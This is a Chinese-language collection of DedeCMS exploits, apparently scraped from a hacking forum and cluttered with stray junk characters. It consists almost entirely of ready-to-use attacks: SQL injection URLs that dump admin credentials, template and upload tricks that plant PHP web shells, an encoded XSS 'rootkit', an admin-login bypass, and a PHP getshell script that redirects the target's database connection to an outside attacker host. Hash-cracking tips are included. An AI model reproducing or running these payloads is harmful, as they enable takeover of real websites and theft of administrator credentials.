dedecms漏洞总结

admin

. }( H- ?- F3 Z! cDedecms 5.6 rss注入漏洞
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
4 t$ n3 X. G7 H$ V




5 Q( n1 x& K% \! _

, A* C3 ]  Y& }" u: i
DedeCms v5.6 嵌入恶意代码执行漏洞
/ d/ l- Z$ h7 v* B注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
2 n* E2 G  }' A" k, ^3 L' A% n发表后查看或修改即可执行
  W% R# ]9 Y2 l4 Xa{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
) W1 @, i; {8 d3 o* @5 _生成x.php 密码xiao，直接生成一句话。
, a9 E  e4 ?" M0 [$ n! m* e

  @6 J& f! X8 K" W) p2 s
3 m% B9 n8 |+ _! q* @- a9 p
/ \+ @7 g( J8 O0 e


; {' m* ~! t1 A& Y+ L
2 B2 Z; W$ e3 B/ J: o6 Z% N; F! KDede 5.6 GBK SQL注入漏洞
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
/ W9 h( m. A- A: @9 K  Ihttp://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7
  f9 p7 i! M, D! W0 }% Z; B1 I! a
) f5 _; F2 q' G9 j* S* `




9 e% |  \2 P: \' B8 ]- A' V& o5 f

* }" H2 n% Z2 B. @5 o& d; GDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`



1 r" `( U/ J/ B3 Y( E
- e/ n& ^% \, Q5 F2 J2 p/ D1 X
4 P& a2 v: W) q6 S8 t2 g% Y0 d
4 T6 o, o) W: G: M! T" cDEDECMS 全版本 gotopage变量XSS漏洞
2 Y  f* S2 c+ o1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="


/ ?5 ?$ B7 \' Q! M1 M2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda

2 @2 ~1 Q! F3 ~# T. D
http://v57.demo.dedecms.com/dede/login.php


color=Red]DeDeCMS(织梦)变量覆盖getshell
#!usr/bin/php -w
<?php
error_reporting(E_ERROR);
set_time_limit(0);
print_r('
DEDEcms Variable Coverage
' @# Q& G" t& _' c  ^Exploit Author: www.heixiaozi.comwww.webvul.com
! R$ Z0 G$ l+ A) z$ v);
  N9 c4 Z( B' K+ \( x% T* ]echo "\r\n";
; g4 x$ m; i7 z' h5 v2 o: yif($argv[2]==null){
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
2 u2 _* E- i" g' r; e/ pphp '.$argv[0].' www.site.com 1 old
+---------------------------------------------------------------------------+
');
5 c0 T) T1 E  z; B. ]exit;
}
1 E6 s& O) N4 j- T$url=$argv[1];
, N; s, N3 ^) M: v7 q1 \6 y$aid=$argv[2];
$path=$argv[3];
$exp=Getshell($url,$aid,$path);
, Z! a& r( I4 x0 Pif (strpos($exp,"OK")>12){
echo "
Exploit Success \n";
if($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;
+ F+ q7 p3 j8 B8 e- q  T' P

if($aid==2)echo "
0 t5 U5 `$ w5 J$ S. g, n3 ]& gShell:".$url."/$path/fuck.php\n" ;

( t8 x/ E+ x4 Q' v$ H0 i6 q, w9 Q
if($aid==3)echo "
1 G1 o  o" r/ m& o/ e2 K& AShell:".$url."/$path/plus/fuck.php\n";


( ?8 w1 M5 p: g) q6 Q, v6 [}else{
4 R& R7 Z$ s8 _! [2 q4 G) b& Zecho "
2 Y& k2 Y! ^2 Q7 ~Exploit Failed \n";
}
function Getshell($url,$aid,$path){
3 @5 A9 f- o& r$id=$aid;
4 m0 s  W1 x, A" u5 N$host=$url;
" b* m8 K) y' g3 ?/ ~' S0 S$port="80";
4 `2 {$ e; [1 M* @- x$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
3 l2 h" M2 ~7 l: N4 r; A$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
. ^$ B  `2 d: j+ f0 L" x1 [( `$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
( u- V! V7 Y4 t$ e- _$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
+ r% n4 A- L1 K! j/ z' J//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
$ock=fsockopen($host,$port);
if (!$ock) {
echo "
No response from ".$host."\n";
}
0 H* k8 d: N- Zfwrite($ock,$data);
while (!feof($ock)) {
$exp=fgets($ock, 1024);
return $exp;
}
" X1 H9 n+ V$ s}
* l2 S8 x" a4 [, f1 \

?>

& H; j/ h- U* A7 c$ M

. A7 B* v3 C, X8 q/ m
' l" U% R  R) l; U9 m3 h
7 q: E# e1 a$ |1 X5 z$ b# P: A& t

" ^) Y! B  i" X- I$ ]
! `$ T! _* m- e# O! f

DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
$ @5 Z) T& _" K" N  w7 A1 ~/ Lhttp://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
" X; B$ e) _6 ^% u2 U, H7 q
) ^5 P- ?. a0 i
( F' F6 s2 v$ Y- K2 V把上面validate=dcug改为当前的验证码，即可直接进入网站后台
0 c& |$ }' p8 h3 @; ?. u# E6 ~
) b* R1 v) @1 g7 G8 c% H( `
3 C* Y1 p* v7 Y! G- e+ n& k此漏洞的前提是必须得到后台路径才能实现

, m. L' H# e& z: M( T6 _& B
) q8 a5 k3 V1 p0 u% A5 \: X; x- F  U0 w


9 p& c; \" X/ U3 ^! c# r
/ _/ B% k6 X  w/ P8 n8 U3 p



Dedecms织梦 标签远程文件写入漏洞
" E2 v: o2 `% U( t- ?% ]# h前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');


; }1 v9 I; T9 |! s/ M再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch">
7 _' ^# O& S1 P( L8 u7 x7 r<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
# q6 \" {2 t7 j7 B4 L2 h<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
) C3 n7 d" G% u  `2 k<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
% ]" m$ F$ Q8 q9 P<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
! S9 N/ h* T* N2 I) B<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
6 P. |8 N1 O0 L* h% ?<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
+ l  s/ m6 }8 {- a6 v9 W<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
, N& R5 G: ~6 y: l0 ^5 y1 c8 X<script>
, v. }: Y" E7 R- N) mfunction addaction()
{
. f3 b1 ?& ?2 I, E7 e# Ldocument.QuickSearch.action=document.QuickSearch.doaction.value;
: Q% r7 O' r' `) a' ]3 M' `}
6 u; u( s) n; T7 j; R0 p/ U7 r</script>
9 h) }. Y# e9 J/ a' n
+ T8 c( _+ a7 i8 A


' ]( y& V1 L9 T/ j6 c# a* x/ a/ ?
+ g8 ^1 L0 Z1 f* `* o




DedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
! \1 L, ^: |9 r" R3 h0 {: P生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
Dedecms <= V5.6 Final模板执行漏洞
# D( R+ _. P% R  ~' ^注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
& [0 }- K4 I9 M7 t2 J+ Guploads/userup/2/12OMX04-15A.jpg


6 t4 }1 ]" v- L模板内容是（如果限制图片格式，加gif89a）：
* |" Z8 |! [5 Q! t# i* O{dede:name runphp='yes'}
/ J9 z9 f# m. c$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
2 U* i: j8 V& D* o; g@fclose($fp);
{/dede:name}
* l! c/ h" r- T# J2 修改刚刚发表的文章，查看源文件，构造一个表单：
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
1 o9 x' W0 W. J& l! b<input type="hidden" name="dopost" value="save" />
! b5 X* ?7 N" U<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
8 t, ?  R  ~' @  d5 i$ d<input type="hidden" name="channelid" value="1" />
  }8 _% {6 @5 A. {<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />

- g. ?1 c6 K2 |! {
/ ~4 ~) N) @& h0 @$ i<div id="mainCp">
<h3 class="meTitle"><strong>修改文章</strong></h3>
9 w+ R+ O# X: Q- h2 J% A7 O& W& c: r

<div class="postForm">
<label>标题：</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>

) F" H' k* ~( w# R- J
<label>标签TAG：</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)


<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>


<label>隶属栏目：</label>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
! \, Y6 F4 `; b( k9 f</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
( X% m$ W8 t& L5 J$ N3 `, ~

<label>我的分类：</label>
' t$ O# g; v/ Q6 Q<select name='mtypesid' size='1'>
, J% F1 A5 w- O/ D<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
0 Z% c& h# x! A1 x  z2 t$ F. Q</select>
1 Q! _" ^; i+ {% V: B. G# Z
4 B/ f% {! e- N4 @5 d
<label>信息摘要：</label>
& f8 E: C5 A) V' S3 R# r<textarea name="description" id="description">1111111</textarea>
(内容的简要说明)
) g( ^8 a& q8 q5 y- s

<label>缩略图：</label>
/ s3 {7 i. `; N/ N<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>
+ a7 V8 z6 e6 p

<input type='text' name='templet'
, g: {5 F: T* s& B( P! l8 W* P+ ivalue="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
* Q& |( a0 M5 ?8 m9 xvalue="templet,htmltext;">（这里构造）
" A) ]4 G) Z9 n; a5 y</div>


- x& ^. h: \' l1 `" g<!-- 表单操作区域 -->
' u$ v  j0 L, c6 k! a+ K: Y3 R5 s<h3 class="meTitle">详细内容</h3>
5 R4 ^9 R  Q+ h% k: n
) P* Y6 o0 T' r5 T9 L3 u% i4 c& ]
<div class="contentShow postForm">
# k. `- O& L" `3 \( o8 @7 ~! q<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>


( i+ g+ i' F- O7 Z<label>验证码：</label>
4 q7 d" d, _( \9 b) j+ }<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
* ^+ Z! d* O* r! Q  s
0 k1 B, k  g/ T; i1 B+ J3 o5 z
<button class="button2" type="submit">提交</button>
  `. U; Y& L& U5 r1 r$ E& Z<button class="button2 ml10" type="reset">重置</button>
</div>

; i: Z6 b9 e+ R: d9 C( R& z' Q5 I
( T; \! R9 e& i! L</div>
! _2 K+ }! D7 O+ ^: `$ w
1 c) j7 b1 f! v
# \7 N' c$ u9 T4 M& M1 k0 f9 R& S</form>
/ I4 {- s) k$ ?: i0 @- y+ X2 U

提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
2 l3 k. `2 N2 h3 _" a6 o即可以在plus目录下生成webshell：1.php

/ R" C! N/ d: \4 H7 T: X, u


, ], _0 r+ d/ ?
  q- Y1 Y, |" H9 q/ v' G
0 m& A1 V( k6 n
6 I" ]3 Z1 E% S# a! b

4 }5 O; u4 ]/ ], V% s. D3 ?5 T% q
+ R0 i8 b" L' o1 F

! [' C# Y5 I( s8 [) w) ~4 wDEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
Gif89a{dede:field name='toby57' runphp='yes'}
5 N% h0 w9 L9 P+ a: w# qphpinfo();
{/dede:field}
0 P3 q# `6 u+ K9 x3 S4 K保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
/ @$ V" u4 m1 n<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
3 ~9 p2 Q" B" O9 p7 ~" C1 ?/ v$ {6 ^<input type="hidden" name="dopost" value="save" />
* O7 z5 J- n% q<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
' V# P( y& ]; F# S  w6 a<button class="button2" type="submit" >更改</button>
1 K, `; q. ]: ^4 o</form>
6 o1 T) B2 n1 h. x' S4 \8 h
6 \* D) N" B5 p2 ^! _
构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
发表文章，然后构造修改表单如下：


<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
7 t- F/ b/ a! D1 ^<input type="hidden" name="aid" value="2" />
; v2 a3 C! @7 h9 R1 T( q$ _<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
<input type="hidden" name="channelid" value="1" />
' ~- q: c+ i5 j# H; [<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
$ x; e  N4 `" z$ w0 o/ p1 d. v<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
# p( }6 u) o) I& e! q<option value='1' class='option3' selected=''>Test</option>
<select name='mtypesid' size='1'>
/ A& @: z; e1 d! u) \9 H$ i, i<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
/ r7 O3 v# m5 C2 g: x6 Z# u<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
# Q3 n% b7 V& |( H6 S<button class="button2" type="submit">提交</button>
, b9 a$ S: {/ q  N</form>
) L. W7 \! V/ j! K: b



& o$ s' p3 {2 T( F
% K- @7 g, Q$ b4 R: |




' F% O, A$ {0 i- m
) q/ g. W; |+ g8 s9 s" L7 L! m  [6 E) c
织梦(Dedecms)V5.6 远程文件删除漏洞
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif

4 u2 C* ~' }' l# ~- H' _# P: |



% a5 y0 S  k" Y0 G; C/ Y



5 [$ h' l7 J( X3 X+ \
织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
& w8 H& w' {0 f) X9 n+ P; L: ihttp://www.test.com/plus/carbuya ... urn&code=../../


: Y3 r) ?. z4 D

6 g& P/ F& K' s; {* a) ?+ e
, c8 H0 n8 H/ l( B
& N' r8 u7 v, @7 v( D* n
+ J' g* [: i* @, M0 i9 A


DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
3 E4 P% `# c, S% x0 fplus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
, b& |7 ?* m! O密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5
2 g' S5 u$ `  e
  _7 H7 b: H5 k8 _- d( T

3 r, _( d2 @' `6 N6 g1 V2 m! K
: @7 h2 Q2 J: `





织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
7 E3 q( J$ q) V$ L9 G3 y1 y# t


3 o! b5 ~$ H( r  c  v  b

* ~1 u- w+ Q- H- j" w: q5 y
7 K" R1 Z$ m# @! Z) T$ S
; u" r' Z% f. e8 K
6 @- l* H! |5 j% x) `/ N

织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
* y; e1 J- S; o3 a# \<html>
. q5 l( j9 Z' L<head>
' M+ n/ j" g" O1 l<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
9 F7 v5 _; ]- p/ `8 _, P</head>
<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
1 K) z5 }  h! R, H2 c<input type='hidden' name='cfg_imgtype' value='php' />
$ Q( k' G3 l# V, I$ z2 [<input type='hidden' name='cfg_not_allowall' value='txt' />
5 h0 J9 Y4 E6 f  j. N9 O' {/ c<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
* h8 r" }( y" h. \/ w: R<input type='hidden' name='f' value='form1.enclosure' />
5 W! U6 B7 M$ N+ h<input type='hidden' name='job' value='upload' />
/ ~! c, T: J* j6 m6 [5 u<input type='hidden' name='newname' value='fly.php' />
0 j' U5 d- E0 k; \Select U Shell <input type='file' name='uploadfile' size='25' />
, E# W9 j* }/ o6 O9 F' q: F0 o, E<input type='submit' name='sb1' value='确定' />
</form>
. C/ H: L- w( V! G<br />It's just a exp for the bug of Dedecms V55...<br />
Need register_globals = on...<br />
  D5 D- K3 w4 KFun the game,get a webshell at /data/cache/fly.php...<br />
</body>
: J6 K! L1 W$ C5 a: [</html>
, Q% f' q, U7 A* k/ Y
1 x) C: I$ R) b# l/ C! u9 h

  j  A# P4 x* c+ D) W; z" A: ^
0 y+ O2 P; Q8 f, P+ _5 M
4 M1 V% m9 Z( O. e+ v) E- |
( r2 ?- W$ k! z. e

+ U5 }; g+ U5 g" X/ \

织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
0 o* w5 m" d& s1 Q5 L# j利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
1. 访问网址：
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
- C. ~  R/ y% p4 Y6 u/ {可看见错误信息


9 P5 S4 r) ^' Q2 X2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
$ P/ {; u) U) W' DError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>


/ e: p" N7 x$ b7 r$ B# [, p  S3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是

% x5 o4 ?4 v. u
<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
& d9 p$ W& C3 }) f7 ^

按确定后的看到第2步骤的信息表示文件木马上传成功.
9 H$ `' ?+ q! p

+ m# m1 @& @! o; @

$ P5 b5 ?) r+ [' R& o, h

1 J$ h, S- P& r! |- P- J


/ h1 G, X9 C0 \% D0 e" m! G


织梦(DedeCms)plus/infosearch.php 文件注入漏洞
- B, M- A9 U' U( a. Q% U! v) Mhttp://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*